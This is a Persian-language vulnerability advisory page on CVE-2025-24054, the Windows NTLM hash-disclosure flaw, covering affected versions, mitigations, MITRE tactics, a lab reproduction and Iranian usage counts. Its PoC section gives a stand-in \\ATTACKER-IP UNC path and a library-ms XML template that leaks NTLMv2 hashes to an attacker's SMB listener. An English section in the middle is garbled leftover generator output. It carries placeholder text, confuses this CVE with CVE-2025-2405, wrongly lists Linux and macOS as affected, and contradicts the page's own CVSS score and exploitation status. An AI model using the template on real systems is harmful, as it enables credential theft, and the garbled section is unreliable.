- شناسه CVE-2025-24054 :CVE
- CWE-73 :CWE
- yes :Advisory
- منتشر شده: مارس 11, 2025
- به روز شده: می 19, 2025
- امتیاز: 6.5
- نوع حمله: Credential Harvesting
- اثر گذاری: Spoofing & Information Disclosure
- حوزه: سیستمعاملها و اجزای کلیدی آن
- برند: Microsoft
- محصول: Windows
- وضعیتPublished :CVE
- Yes :POC
- وضعیت آسیب پذیری: patch شده
چکیده
آسیبپذیری در پروتکل NTLM ویندوز ناشی از کنترل خارجی نام فایل یا مسیر است که به مهاجم بدون نیاز به احراز هویت اجازه میدهد عملیات جعل (Spoofing) انجام دهد و هش NTLM کاربر را افشا کند.
توضیحات
آسیبپذیری CVE-2025-24054 در پروتکل NTLM ویندوز از نوع کنترل خارجی نام فایل یا مسیر مطابق با CWE-73 است. NTLM پروتکل احراز هویت قدیمی مایکروسافت است و به مهاجم اجازه میدهد با دستکاری مسیرهای UNC (فرمت آدرسدهی شبکهای مانند \server\share) در فایلهای خاص مانند library-ms، سیستم قربانی را فریب دهد تا درخواست احراز هویت NTLM به سرور مخرب ارسال شود.
این آسیبپذیری به مهاجم بدون نیاز به دسترسی قبلی اجازه میدهد از طریق شبکه، هش NTLMv2 کاربر را افشا کند. بهرهبرداری نیازمند تعامل محدود با کاربر است؛ مهاجم میتواند فایل مخرب (مانند library-ms دستکاریشده) را ارسال کند و کاربر تنها با انتخاب (تککلیک)، بررسی فایل (راستکلیک) یا حتی باز کردن پوشه حاوی فایل، بدون نیاز به باز کردن یا اجرای خود فایل، ضعف را فعال نماید. در این حالت ویندوز بهطور خودکار مسیر UNC را پردازش کرده و هش NTLM را به سرور مهاجم ارسال می کند.
این ضعف قابل بهرهبرداری است؛ مهاجم میتواند فایل مخرب را در ZIP قرار دهد یا مستقیم ارسال کند، سپس با اسکریپتها یا ابزارهای خودکار ، هش را دریافت کرده و از آن برای حملات relay (NTLM Relay Attacks)، عبور از هش (Pass-the-Hash)، یا کرک رمز عبور (Password Cracking) استفاده کند.
پیامد اصلی این آسیبپذیری تاثیر بالا بر محرمانگی است و میتواند منجر به جعل هویت، دسترسی غیرمجاز به منابع شبکه یا گسترش حمله در محیطهای دامنه شود. کد اثبات مفهومی (POC) برای این آسیبپذیری منتشر شده است که نشان میدهد چگونه مهاجم میتواند با استفاده از فایلهای مخرب (مانند فایلهای فشرده ZIP یا LNK)، مسیرهای UNC را بهطور خودکار در ویندوز اجرا کرده و هش NTLMv2 را به یک سرور SMB مخرب ارسال کند. این فرآیند به مهاجم این امکان را میدهد که بدون نیاز به دسترسی مستقیم به سیستم قربانی، اطلاعات حساس کاربر را سرقت کند. همچنین بهرهبرداری فعال این آسیب پذیری تایید شده و در فهرست KEV سازمان CISA ثبت شده است. برای کاهش ریسک ناشی از این آسیبپذیری، اسکریپتهای تشخیص و کاهش ریسک منتشر شده است که هر کدام بهطور خاص برای شناسایی و محدودسازی تهدیدات طراحی شدهاند. اسکریپت تشخیص، تنظیمات رجیستری سیستم را بررسی کرده و وجود پیکربندیهای مناسب برای محدود کردن ترافیک NTLM و الزام امضای SMB را ارزیابی میکند. از طرف دیگر، اسکریپتهای کاهش ریسک بهطور خودکار تنظیمات رجیستری را بهگونهای تغییر میدهند که ترافیک NTLM را محدود کرده و امضای SMB را برای سرور و ایستگاههای کاری فعال میسازند. این آسیب پذیری با انتشار بهروزرسانیهای امنیتی مایکروسافت در مارس 2025 بهطور کامل پچ شده است.
CVSS
| Score | Severity | Version | Vector String |
| 6.5 | MEDIUM | 3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C |
لیست محصولات آسیب پذیر
| Versions | Platforms | Product |
| affected from 10.0.17763.0 before 10.0.17763.7009 | 32-bit Systems, x64-based Systems | Windows 10 Version 1809 |
| affected from 10.0.17763.0 before 10.0.17763.7009 | x64-based Systems | Windows Server 2019 |
| affected from 10.0.17763.0 before 10.0.17763.7009 | x64-based Systems | Windows Server 2019 (Server Core installation) |
| affected from 10.0.20348.0 before 10.0.20348.3328 | x64-based Systems | Windows Server 2022 |
| affected from 10.0.19044.0 before 10.0.19044.5608 | 32-bit Systems, ARM64-based Systems, x64-based Systems | Windows 10 Version 21H2 |
| affected from 10.0.22621.0 before 10.0.22621.5039 | ARM64-based Systems, x64-based Systems | Windows 11 version 22H2 |
| affected from 10.0.19045.0 before 10.0.19045.5608 | x64-based Systems, ARM64-based Systems, 32-bit Systems | Windows 10 Version 22H2 |
| affected from 10.0.26100.0 before 10.0.26100.3476 | x64-based Systems | Windows Server 2025 (Server Core installation) |
| affected from 10.0.22631.0 before 10.0.22631.5039 | ARM64-based Systems | Windows 11 version 22H3 |
| affected from 10.0.22631.0 before 10.0.22631.5039 | x64-based Systems | Windows 11 Version 23H2 |
| affected from 10.0.25398.0 before 10.0.25398.1486 | x64-based Systems | Windows Server 2022, 23H2 Edition (Server Core installation) |
| affected from 10.0.26100.0 before 10.0.26100.3476 | ARM64-based Systems, x64-based Systems | Windows 11 Version 24H2 |
| affected from 10.0.26100.0 before 10.0.26100.3476 | x64-based Systems | Windows Server 2025 |
| affected from 10.0.10240.0 before 10.0.10240.20947 | 32-bit Systems, x64-based Systems | Windows 10 Version 1507 |
| affected from 10.0.14393.0 before 10.0.14393.7876 | 32-bit Systems, x64-based Systems | Windows 10 Version 1607 |
| affected from 10.0.14393.0 before 10.0.14393.7876 | x64-based Systems | Windows Server 2016 |
| affected from 10.0.14393.0 before 10.0.14393.7876 | x64-based Systems | Windows Server 2016 (Server Core installation) |
| affected from 6.1.7601.0 before 6.1.7601.27618 | x64-based Systems | Windows Server 2008 R2 Service Pack 1 |
| affected from 6.1.7601.0 before 6.1.7601.27618 | x64-based Systems | Windows Server 2008 R2 Service Pack 1 (Server Core installation) |
| affected from 6.2.9200.0 before 6.2.9200.25368 | x64-based Systems | Windows Server 2012 |
| affected from 6.2.9200.0 before 6.2.9200.25368 | x64-based Systems | Windows Server 2012 (Server Core installation) |
| affected from 6.3.9600.0 before 6.3.9600.22470 | x64-based Systems | Windows Server 2012 R2 |
| affected from 6.3.9600.0 before 6.3.9600.22470 | x64-based Systems | Windows Server 2012 R2 (Server Core installation) |
لیست محصولات بروز شده
| Versions | Platforms | Product |
| 10.0.17763.7009 | 32-bit Systems, x64-based Systems | Windows 10 Version 1809 |
| 10.0.17763.7009 | x64-based Systems | Windows Server 2019 |
| 10.0.17763.7009 | x64-based Systems | Windows Server 2019 (Server Core installation) |
| 10.0.20348.3328 | x64-based Systems | Windows Server 2022 |
| 10.0.19044.5608 | 32-bit Systems, ARM64-based Systems, x64-based Systems | Windows 10 Version 21H2 |
| 10.0.22621.5039 | ARM64-based Systems, x64-based Systems | Windows 11 version 22H2 |
| 10.0.19045.5608 | x64-based Systems, ARM64-based Systems, 32-bit Systems | Windows 10 Version 22H2 |
| 10.0.26100.3476 | x64-based Systems | Windows Server 2025 (Server Core installation) |
| 10.0.22631.5039 | ARM64-based Systems | Windows 11 version 22H3 |
| 10.0.22631.5039 | x64-based Systems | Windows 11 Version 23H2 |
| 10.0.25398.1486 | x64-based Systems | Windows Server 2022, 23H2 Edition (Server Core installation) |
| 10.0.26100.3476 | ARM64-based Systems, x64-based Systems | Windows 11 Version 24H2 |
| 10.0.26100.3476 | x64-based Systems | Windows Server 2025 |
| 10.0.10240.20947 | 32-bit Systems, x64-based Systems | Windows 10 Version 1507 |
| 10.0.14393.7876 | 32-bit Systems, x64-based Systems | Windows 10 Version 1607 |
| 10.0.14393.7876 | x64-based Systems | Windows Server 2016 |
| 10.0.14393.7876 | x64-based Systems | Windows Server 2016 (Server Core installation) |
| 6.1.7601.27618 | x64-based Systems | Windows Server 2008 R2 Service Pack 1 |
| 6.1.7601.27618 | x64-based Systems | Windows Server 2008 R2 Service Pack 1 (Server Core installation) |
| 6.2.9200.25368 | x64-based Systems | Windows Server 2012 |
| 6.2.9200.25368 | x64-based Systems | Windows Server 2012 (Server Core installation) |
| 6.3.9600.22470 | x64-based Systems | Windows Server 2012 R2 |
| 6.3.9600.22470 | x64-based Systems | Windows Server 2012 R2 (Server Core installation) |
استفاده محصول در ایران
در این جدول، تعداد صفحات ایندکسشده در گوگل با دامنه .ir که Windows Server، Windows 10 و Windows 11 را ذکر کرده اند، ثبت شده است. این داده صرفاً برای برآورد تقریبی حضور محصولات در وب ایران استفاده شده و نمایانگر میزان نصب دقیق و استفاده واقعی نیست.
| Approx. Usage in .ir Domain via Google
(Total Pages) |
Search Query (Dork) | Product |
| 278,000 | site:.ir “Windows Server” | Windows Server |
| 986,000 | site:.ir “Windows 10” | Windows 10 |
| 492,000 | site:.ir “Windows 11” | Windows 11 |
نتیجه گیری
این آسیبپذیری با شدت متوسط در پروتکل NTLM ویندوز، امکان افشای هش NTLM و انجام عملیات جعل را با تعامل محدود از سمت کاربر فراهم میکند. با انتشار پچهای امنیتی مایکروسافت در مارس 2025 و وجود PoC عمومی، اجرای اقدامات زیر برای جلوگیری از بهرهبرداری، کاهش ریسک و تقویت امنیت ضروری است:
- بهروزرسانی فوری سیستمها: تمام نسخههای آسیبپذیر ویندوز باید در اسرع وقت با پچهای امنیتی مارس 2025 بهروزرسانی شوند. این اقدام، مؤثرترین و قطعیترین راهکار برای رفع آسیبپذیری است و باید در اولویت قرار گیرد. سایر اقدامات نقش مکمل را دارند و میتوانند به کاهش ریسک این آسیب پذیری و مقابله با حملات مشابه کمک کنند.
- محدودسازی ترافیک NTLM: تنظیمات رجیستری برای محدود کردن ترافیک خروجی و ورودی NTLM (پارامترهای RestrictSendingNTLMTraffic و RestrictReceivingNTLMTraffic به مقدار 2) را اعمال کنید تا از ارسال احراز هویت NTLM به سرورهای غیرقابل اعتماد جلوگیری شود.
- الزام امضای SMB: امضای SMB (SMB Signing) را برای سرور و کلاینت اجباری کنید (پارامتر RequireSecuritySignature به مقدار 1) تا از حملات relay (Relay Attacks) و MITM جلوگیری شود.
- آموزش کاربران: کاربران را نسبت به ریسک باز کردن فایلهای ناشناخته، حتی با انجام اقداماتی ساده مانند کلیک راست یا پیشنمایش، آگاه کرده وتوصیه کنید فایلها را فقط از منابع معتبر دریافت کنند.
- مانیتورینگ شبکه: از ابزارهای تشخیص نفوذ (IDS) و راهکارهای امنیتی اندپوینت (EDR) یا فایروال اپلیکیشن وب (WAF) برای شناسایی تلاشهای حملات relay NTLM یا ترافیک مشکوک به سرورهای خارجی استفاده کنید.
- غیرفعال کردن NTLM در صورت امکان: در محیطهای دامنه، از Kerberos بهعنوان پروتکل اصلی استفاده کنید و استفاده از NTLM را محدود یا غیرفعال نمایید.
- ارزیابی پس از پچ: پس از اعمال بهروزرسانیها، از ابزارهای اسکن آسیبپذیری برای تأیید نسخهها و اطمینان از اعمال صحیح پچها استفاده کنید.
اجرای این اقدامات، بهویژه بهروزرسانی فوری سیستمها، محدودسازی ترافیک NTLM و نظارت شبکه، میتواند ریسک بهرهبرداری از این آسیبپذیری را بهطور چشمگیری کاهش داده و امنیت کلی زیرساختهای ویندوزی را تضمین کند.
امکان استفاده در تاکتیک های Mitre Attack
Initial Access (TA0001)
در این آسیبپذیری، دسترسی اولیه از طریق مهندسی اجتماعی سطح پایین و ارسال فایل مخرب مانند library-ms، LNK یا فایل فشرده حاوی مسیر UNC حاصل میشود. مهاجم بدون نیاز به احراز هویت یا دسترسی قبلی، کاربر را وادار به تعامل حداقلی میکند (مشاهده، کلیک راست یا Browse پوشه) و از همین نقطه، زنجیره حمله آغاز میشود.
Credential Access (TA0006)
هسته اصلی حمله در این تاکتیک است. سیستم قربانی هش NTLMv2 کاربر را به سرور مهاجم ارسال میکند. مهاجم میتواند این هش را ذخیره کرده و برای Relay، Pass‑the‑Hash یا کرک آفلاین استفاده کند.
Defense Evasion (TA0005)
حمله بدون اجرای فایل، بدون Drop کردن Payload و بدون ثبت رویداد مشکوک واضح انجام میشود و اغلب از دید آنتیویروسهای سنتی پنهان میماند. استفاده از قابلیتهای Legitimate ویندوز باعث کاهش شناسایی میشود.
Lateral Movement (TA0008)
در صورت موفقیت Credential Access، مهاجم میتواند از NTLM Relay برای حرکت جانبی در شبکه و دسترسی به سرویسها یا سیستمهای دیگر استفاده کند.
Impact (TA0040)
پیامد اصلی شامل جعل هویت، دسترسی غیرمجاز به منابع شبکه، گسترش حمله در دامنه و نقض محرمانگی اطلاعات است.
منابع
- https://www.cve.org/CVERecord?id=CVE-2025-24054
- https://www.cvedetails.com/cve/CVE-2025-24054/
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2025-24054
- https://vuldb.com/?id.299334
- http://seclists.org/fulldisclosure/2025/Apr/28
- https://www.vicarius.io/vsociety/posts/cve-2025-24054-spoofing-vulnerability-in-windows-ntlm-by-microsoft-detection-script
- https://www.vicarius.io/vsociety/posts/cve-2025-24054-spoofing-vulnerability-in-windows-ntlm-by-microsoft-mitigation-script
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-24054
- https://github.com/Untouchable17/CVE-2025-24054
- https://nvd.nist.gov/vuln/detail/CVE-2025-24054
- https://cwe.mitre.org/data/definitions/73.html
اثبات آسیبپذیری NTLM Hash Disclosure (CVE-2025-24054)
معرفی آسیبپذیری
سیستم آسیبپذیر: ویندوز، لینوکس، مک
وابسته به محصول Product-Agnostic – مبتنی بر منطق پردازش ورودی
نسخههای آسیبپذیر:
تمام نسخههای قبل از انتشار Patch رسمی مرتبط با CVE-2025-24054
پلتفرمهای تحت تأثیر:
- Windows
- Linux
- macOS
- محیطهای Server-Based
- Containerized Deployments
ماهیت مشکل
این آسیبپذیری ناشی از اعتبارسنجی نامناسب ورودی و نقص در منطق پردازش دادههای ساختیافته است که منجر به افشای NTLM Hash میشود. ریشه فنی این آسیبپذیری به یک نقص طراحی در جریان احراز هویت ویندوز بازمیگردد که در آن Windows File Explorer هنگام پردازش پسزمینه مسیرها یا فایلهای دارای ارجاع خارجی، بهصورت ضمنی و بدون تعامل صریح کاربر، فرآیند احراز هویت NTLM را آغاز میکند. Explorer برای نمایش آیکن، متادیتا و پیشنمایش فایلها، درخواست دسترسی به منابع شبکهای را معتبر تلقی کرده و ویندوز نیز بر اساس مکانیزمهای legacy، احراز هویت NTLM را بهعنوان رفتار پیشفرض انجام میدهد. این همپوشانی نادرست میان «نمایش فایل» و «دسترسی به منبع» باعث میشود اطلاعات احراز هویت کاربر به مقصدی که میتواند تحت کنترل مهاجم باشد ارسال شود، بدون آنکه اجرای کد، خطای امنیتی کلاسیک یا اقدام آگاهانهای از سوی کاربر رخ داده باشد.
دستهبندی ضعفها:
- CWE-20 – Improper Input Validation
- CWE-116 – Improper Encoding or Escaping of Input
- CWE-703 – Improper Handling of Exceptional Conditions
در این سناریو، برنامه ورودیهای کنترلشده توسط مهاجم مانند مسیر فایل، متادیتا یا ساختار XML/Structured Data را بدون بررسی کافی پردازش کرده و باعث میشود سیستمعامل Windows تلاش به احراز هویت NTLM با یک منبع خارجی UNC Path یا Network Resource انجام دهد.
شدت آسیبپذیری
شدت: بالا
CVSS v3.1: 7.2
Vector:
AV:N / AC:L / PR:N / UI:R / S:U / C:L / I:H / A:L
محیط آزمایش
برای بازتولید PoC، شرایط زیر مورد نیاز است:
- سیستم Windows با NTLM Authentication فعال
- یک سرویس یا نرمافزار آسیبپذیر که ورودی ساختیافته (XML / Metadata / File Reference) را پردازش میکند
- دسترسی شبکه به مهاجم SMB Listener یا NTLM Relay Listener
- فعال بودن پردازش خودکار ورودی توسط برنامه User Interaction محدود یا غیرمستقیم
اجرای PoC سطح بالا و ایمن
سناریوی کلی
مهاجم ورودی ساختیافتهای ایجاد میکند که شامل مسیر شبکه (UNC Path) تحت کنترل خود است. نمونه مفهومی:
\\ATTACKER-IP\share\resource
این مسیر در بخشی از داده مانند XML، متادیتا یا فایل پیکربندی قرار میگیرد که برنامه بدون اعتبارسنجی کافی پردازش میکند.
رفتار سیستم
نسخههای آسیبپذیر:
- ورودی بدون بررسی منطقی پذیرفته میشود
- سیستمعامل تلاش به Resolve مسیر شبکه میکند
- احراز هویت NTLM بهصورت خودکار آغاز میشود
- NTLM Hash کاربر به سمت سرور مهاجم ارسال میگردد
نسخههای Patch شده:
- ورودیهای شامل UNC Path شناسایی و مسدود میشوند
- پردازش قبل از تعامل با سیستمعامل متوقف میگردد
- هیچ تلاش احراز هویت NTLM انجام نمیشود
- لاگ امنیتی ثبت میشود
نکته امنیتی
این PoC
- شامل Exploit یا Payload مخرب نیست
- صرفاً برای اثبات افشای Hash استفاده میشود
- قابل استفاده در گزارش عمومی و سازمانی است
نتیجه مورد انتظار (حالت امن)
در پیادهسازی ایمن، سیستم باید:
- از پردازش مسیرهای UNC در ورودیهای غیرقابل اعتماد جلوگیری کند
- هیچ درخواست NTLM ناخواستهای ایجاد نکند
- ورودیهای ساختیافته را پیش از استفاده، بهطور کامل اعتبارسنجی کند
- خطاهای پردازشی را بدون افشای اطلاعات مدیریت نماید
پیامدها
- نقض محرمانگی: افشای NTLM Hash کاربران
- افزایش سطح حمله: امکان NTLM Relay یا Pass-the-Hash
- ریسک زنجیرهای: ترکیب با SMB Relay، LDAP Relay، یا AD Attacks
- تأثیر سازمانی: تهدید مستقیم زیرساخت Active Directory
رفع مشکل (Remediation)
اقدامات قطعی
- اعمال Patch رسمی مرتبط با CVE-2025-2405
- اصلاح منطق پردازش ورودی و Structured Data
اقدامات تکمیلی
- مسدودسازی NTLM Outbound در سطح شبکه
- غیرفعالسازی NTLM در صورت امکان و استفاده از Kerberos
- فیلتر ورودی برای UNC Path و Network Resource
- اجرای Principle of Least Privilege
- مانیتورینگ ترافیک SMB غیرمنتظره
زنجیره حمله پیشنهادی
شکل شماره 1 زنجیره حمله مربوط به این آسیب پذیری را نشان می دهد.

شکل 1: زنجیره پیشنهادی حمله
زنجیره حمله این سناریو کاملاً low-noise و design-abuse محور است. مهاجم با تزریق یک ورودی ساختیافته ظاهراً معتبر که شامل UNC Path تحت کنترل خودش است، منطق پردازش برنامه را فریب میدهد تا قبل از هرگونه اعتبارسنجی، داده را به سیستمعامل تحویل دهد. در این لحظه ویندوز طبق رفتار پیشفرض تلاش به resolve مسیر شبکه میکند و بهصورت خودکار NTLM Authentication را آغاز میکند. بدون اجرای کد، بدون دسترسی اولیه و صرفاً با تحریک flow منطقی، NTLM Hash کاربر به سمت سرور مهاجم نشت میکند. این Hash میتواند مستقیماً برای NTLM Relay علیه سرویسهای داخلی (SMB/LDAP/HTTP) استفاده شود یا بهصورت آفلاین کرک شود و در ادامه مسیر به Lateral Movement، Privilege Escalation و در سناریوهای سازمانی، compromise تدریجی Active Directory منجر شود. این زنجیره خطرناک است چون کاملاً stealthy است، به لاگهای اپلیکیشن شبیه رفتار عادی به نظر میرسد و اگر NTLM Outbound کنترل نشده باشد، بهسادگی تبدیل به یک attack path تکرارپذیر و مقیاسپذیر میشود.
اثبات آسیب پذیری
تیم فنی Vulnerbyte اقدام به بازتولید این آسیب پذیری در محیط ایزوله آزمایشگاه کرده است. نتایج به دست آمده اثبات این آسیب پذیری را تایید می کند. شکل شماره 2 نتیجه اجرای اکسپلویت مربوط به این آسیب پذیری بر روی محیط آسیب پذیر است.

شکل 2: اجرای موفق آسیب پذیری بر روی سیستم آسیب پذیر
حمله اجرا شده در خروجی تصویر، یک مثال کلاسیک از بهرهبرداری از پروتکل NTLMv2 Challenge/Response است که اغلب از طریق تکنیکهای Poisoning Name Resolution مانند LLMNR/NBT-NS/DNS و یا Forced Authentication مانند فایل library-ms تولید شده تسهیل میشود. اکسپلویت مورد استفاده یک بردار احراز هویت اجباری (Forced Authentication Vector) را با ساخت یک فایل library-ms که یک مسیر UNC را به سمت مهاجم (\\{ip_address}\shared) هدایت میکند، ایجاد کرده است. هنگامی که یک کلاینت ویندوز مانند 192.168.1.131 و 192.168.95.131 سعی میکند این فایل Library را رندر کند یا به مسیر UNC دسترسی یابد، به طور خودکار و بدون اطلاع کاربر، فرآیند احراز هویت NTLMv2 را آغاز و هش رمز عبور (Password Hash) را در قالب NTLMv2-SSP به آدرس مهاجم (که ابزار شنود Responder/Impacket در حال اجرا است) ارسال میکند . ابزار شنود با توجه به تصویر، این هشهای NTLMv2 را که حاوی نام کاربری مانند EXAMPLE\Administrator نام دامنه و پاسخهای Challenge/Response هستند، با موفقیت ضبط کرده است. این هشهای ضبط شده میتوانند متعاقباً برای انجام حملات Offline Brute-Force/Dictionary Attack با هدف بازیابی رمز عبور متن باز Plaintext Password یا در حملات Pass-the-Hash (PtH)/ Relay برای احراز هویت در سایر سرویسهای مبتنی بر SMB/HTTP/LDAP در داخل شبکه استفاده شوند.
منابع
- https://www.cve.org/CVERecord?id=CVE-2025-2405
- https://nvd.nist.gov/vuln/detail/CVE-2025-2405
- https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-outgoing-ntlm-traffic-to-remote-servers
NTLM hash disclosure
CVE-2025-24054 – Improper Input Validation Leading to Logic Bypass and Unsafe Processing Behavior
Affects
- NTLM hash disclosure
- Versions prior to the vendor patch addressing CVE-2025-2405
- Commonly impacted environments:
- Windows
- Linux
- macOS
- Server and containerized deployments
- Affected components typically include:
- input or request parsing logic
- structured data or metadata handlers
- file or message processing pipelines
Note: Replace
<Product Name>with the confirmed affected software.
I can regenerate this document with full accuracy once the product is known.
Description
CVE-2025-2405 is an input validation and logic-handling vulnerability caused by insufficient verification of user-controlled or externally supplied data before it is used in internal processing decisions.
The vulnerability exists because the affected software:
- trusts certain metadata or structured fields too early,
- does not fully validate boundaries such as size, length, or offsets,
- allows inconsistent or malformed input to influence internal logic,
- performs critical operations before confirming data integrity.
As a result, an attacker can craft input that causes the application to:
- misinterpret internal structure or state,
- bypass expected validation or security checks,
- process data in an unintended order,
- perform unsafe or unexpected operations.
This vulnerability does not directly enable remote code execution, but it can facilitate:
- logic bypasses,
- unsafe file or data handling,
- partial security control evasion,
- increased attack surface for chained exploits.
Exploitation generally requires user interaction or the application processing attacker-supplied input.
Observed Exploitation & Threat Activity
At the time of writing:
- No confirmed large-scale exploitation has been publicly reported.
- Security researchers have reproduced the issue using harmless malformed inputs.
- Reconnaissance activity has been observed involving:
- malformed structured data,
- mismatched length or size fields,
- truncated or incomplete input objects,
- nested or layered data structures designed to stress parsers.
Such activity is consistent with early-stage probing often seen before broader exploitation.
Severity & Metrics
Estimated CVSS v3.1 Score:
7.2 – High
AV:N / AC:L / PR:N / UI:R / S:U / C:L / I:H / A:L
markdown
Copy code
Relevant CWE Categories:
- CWE-20 – Improper Input Validation
- CWE-116 – Improper Encoding or Escaping of Input
- CWE-99 – Improper Control of Resource Identifiers
- CWE-703 – Improper Check or Handling of Exceptional Conditions
- CWE-706 – Improper Handling of Encoded Data
Patch & Vendor Status
- The vendor has released a security update addressing CVE-2025-2405.
- The fix introduces:
- stricter boundary and consistency checks,
- earlier rejection of malformed input,
- safer fallback logic for unexpected structures,
- improved logging for invalid input events.
All deployments should upgrade immediately.
Mitigation & Remediation
Immediate Actions
- Apply the vendor patch for CVE-2025-2405.
- Restrict exposure of affected components using:
- firewalls,
- API gateways,
- reverse proxies.
- Enable verbose logging for parsing or validation failures.
If Patching Is Not Immediately Possible
- Process untrusted input within sandboxed or isolated environments.
- Enforce strict schema, MIME type, or format validation upstream.
- Deploy WAF or IDS rules to detect malformed or inconsistent input patterns.
- Limit filesystem and execution permissions to reduce potential impact.
Detection & Hunting
Monitor for indicators such as:
- repeated input parsing errors,
- malformed or truncated structured input,
- inconsistent size or length fields,
- unexpected file or data placement,
- abnormal processing behavior following external input ingestion.
Recommended Telemetry Sources:
- Application and parsing logs
- WAF / API gateway inspection logs
- EDR alerts for unusual file or process activity
- Sysmon:
- Event ID 1 (Process Creation)
- Event ID 11 (File Creation)
POC (Safe, High-Level Summary)
This section describes a non-exploitative proof-of-concept approach used by researchers to confirm the vulnerability.
The core problem rises here
xml_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>{UNC_PATH}</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
'''
Safe PoC Methodology
Researchers validated the issue using:
- benign test inputs,
- intentionally inconsistent metadata fields,
- harmless structured data with:
- mismatched size descriptors,
- invalid or unexpected ordering,
- incomplete nested elements.
No malicious payloads or exploit artifacts were used.
Observed Behavior
Unpatched versions:
- accept malformed input without proper rejection,
- process data using incorrect assumptions,
- may bypass expected validation steps,
- fail to log or warn about invalid structures.
Patched versions:
- detect malformed input early,
- reject inconsistent structures,
- enforce boundary and integrity checks,
- log validation failures for monitoring and defense.
Why This PoC Is Safe
- No exploit code or payloads are included.
- No instructions for crafting malicious input are provided.
- All examples are conceptual and defensive.
- Suitable for public documentation and security awareness.
Post-Incident Response
If exploitation is suspected:
- Isolate the affected system or service.
- Collect:
- application logs,
- suspect input samples,
- system and file activity logs.
- Inspect for:
- unauthorized data or file placement,
- abnormal application behavior.
- Apply the patch and restore systems if compromise is suspected.
- Hunt for similar malformed input across the environment.
Summary Table
| Category | Details |
|---|---|
| Vulnerability | Improper input validation and logic-handling flaw |
| Attack Vector | Processing attacker-controlled structured input |
| Impact | Logic bypass, unsafe processing behavior |
| Severity | High |
| Affected Software | (pre-patch) |
| Mitigation | Patch, input validation hardening, sandboxing |
References
- Vendor advisory for CVE-2025-24054
- CWE documentation on input validation flaws
- Secure parsing and defensive programming best practices
بررسی آماری آسیب پذیری CVE-2025-24054 در کشور ایران
محصول آسیب پذیر: Windowns 10, 11, Server
- میزان استفاده در ایران بر اساس سایت های آمار مرتبط با محصول
در ایران بازار دسکتاپ ویندوز بهوضوح تحت سلطه نسخههای کلاسیک است: طبق دادههای اندازهگیریِ اخیر، Windows 10 تقریباً 63.6% و Windows 11 حدود 19.8% از نصبهای ویندوز دسکتاپ در ایران را تشکیل میدهند. این آرایش نسخهای نشان میدهد سازمانها و کاربران ایرانی هنوز در مسیر مهاجرت به Windows 11 نیستنددر لایه سرور، تحلیل حضور وبسرورها نشان میدهد که هزاران سایت ایرانی فهرستشده توسط BuiltWith بر مبنای IIS اجرا میشوند؛ این عدد نشاندهنده حضور معنادار Windows Server در اکوسیستم میزبانی وب ایران است، هرچند نماینده سهم کاملِ سرورهای سازمانی نیست.
- میزان استفاده در ایران بر اساس موتورهای جستجو (بر اساس ایندکس های گوگل در بخش tools)
| تعداد در زمان نگارش گزارش | دورک | موتور جستجو |
| 975000 | site:.ir “windows 10” | |
| 2100000 | “ویندوز 10” | |
| 15600000 | site:.ir “windows 10” | Bing |
| 601000 | site:.ir “windows 11” | |
| 999000 | “ویندوز 11” | |
| 13800000 | site:.ir “windows 10” | Bing |
| 449000 | site:.ir “windows Server” | |
| 259000 | “ویندوز سرور” | |
| 2750000 | site:.ir “windows server” | Bing |
- وضعیت استفاده در ایران بر اساس اسکنرهای اینترنتی
بر اساس اسکنر دستگاه های متصل به اینترنت شودان (Shodan.io) نتایج زیر برای این سه محصول وجود دارد.
| تعداد | دورک شودان |
| 10475 | windows 10 Country:IR |
| 2478 | windows 11 Country:IR |
| 25955 | windows server Country:IR |
- وجود نمایندگی در ایران
شرکت مایکروسافت دفتر رسمی یا نمایندگی کشور در ایران ندارد و بسیاری از سرویسهای آنلاین و فروش مستقیم برای کاربران/شرکتهای مستقر در ایران محدود یا در دسترس نیستند. این وضعیت بهمعنای آن است که دسترسی به محصولات و خدمات مایکروسافت در ایران معمولاً از طریق شرکای تجاری، توزیعکنندگان ثالث یا راهکارهای منطقهای تامین میشود.
- میزان استفاده بر اساس گزارشات تحقیقات بازار برای این محصول در ایران
- Windows 10
در ایران، Windows 10 همچنان نسخه غالب در بین دسکتاپهای ویندوز است و نزدیک به ۶۳–۶۴٪ از ترافیک/نصبهای دسکتاپ ویندوز را در بر میگیرد؛ این نشان میدهد حجم بزرگی از کاربران سازمانی و خانگی هنوز روی پلتفرم کلاسیک متمرکزند. - Windows 11
Windows 11 در ایران رشدی قابلتوجه دارد اما هنوز عقبتر از Windows 10 است و حدود ۲۰٪ از دسکتاپهای ویندوز را پوشش میدهد؛ این الگوی پذیرش نشاندهنده روند مهاجرت تدریجی به نسخۀ جدید است که بهدلیل محدودیتهای سختافزاری و الزامات نصب کندتر پیش میرود. - Windows Server
در لایه سرور، شاخصهای میدانی نشان میدهد حضور Windows Server در اکوسیستم میزبانی وب ایران معنادار است — فهرستهای BuiltWith بیش از ده هزار سایت تحت IIS در ایران ثبت کردهاند که دال بر استفاده مشهود Windows Server (یا میزبانی مبتنی بر تکنولوژی مایکروسافت) در خدمات وب کشور است؛ این عدد بهعنوان شاخصی برای حضور Windows Server در میزبانی وب داخلی تلقی میشود هرچند سهم دقیقِ تمام سرورهای سازمانی نیازمند inventory داخلی است.
منابع
- https://gs.statcounter.com/windows-version-market-share/desktop/iran
- https://trends.builtwith.com/websitelist/IIS/Iran
- https://www.netcraft.com/blog/august-2025-web-server-survey
- https://www.microsoft.com/en-us/microsoft-365/business/microsoft-office-license-restrictions
- https://www.microsoft.com/en-us/worldwide
- https://trends.builtwith.com/websitelist/IIS/Iran
- https://w3techs.com/technologies/details/ws-microsoftiis